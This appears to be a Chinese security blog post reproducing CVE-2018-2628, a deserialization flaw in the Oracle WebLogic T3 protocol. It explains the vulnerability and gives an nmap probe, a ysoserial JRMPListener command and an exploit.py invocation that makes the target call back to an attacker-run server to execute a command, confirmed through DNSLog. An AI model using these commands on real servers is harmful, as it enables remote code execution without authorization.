WebLogic T3反序列化漏洞(CVE-2018-2628)

漏洞条件

  • WebLogic开启T3协议服务
  • Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

漏洞原理

Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。

具体分析:

CVE-2018-2628 WebLogic反序列化漏洞分析

CVE-2018-2628 简单复现与分析

漏洞利用

使用Nmap脚本探测T3服务

Nmap的weblogic-t3-info脚本可以探测WebLogic的T3服务是否开启:

nmap -n -v -p7001,7002 127.0.0.1 --script=weblogic-t3-info

这里探测目标环境7001端口是开启了T3服务的:

这里返回目标WebLogic的具体版本号为10.3.6.0以及开启了T3服务等信息,是存在T3反序列化漏洞的,接着进行漏洞复现。

代码执行

先在攻击者服务器通过ysoserial来启动一个JRMP服务端,这里使用CommonsCollections1这条Gadget进行反序列化利用,其中通过DNSLog外带验证:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

然后,使用这个exploit脚本向目标WebLogic服务器发送报文:

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

DNSLog收到

参考资料

浅析WebLogic T3反序列化漏洞(CVE-2018-2628)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇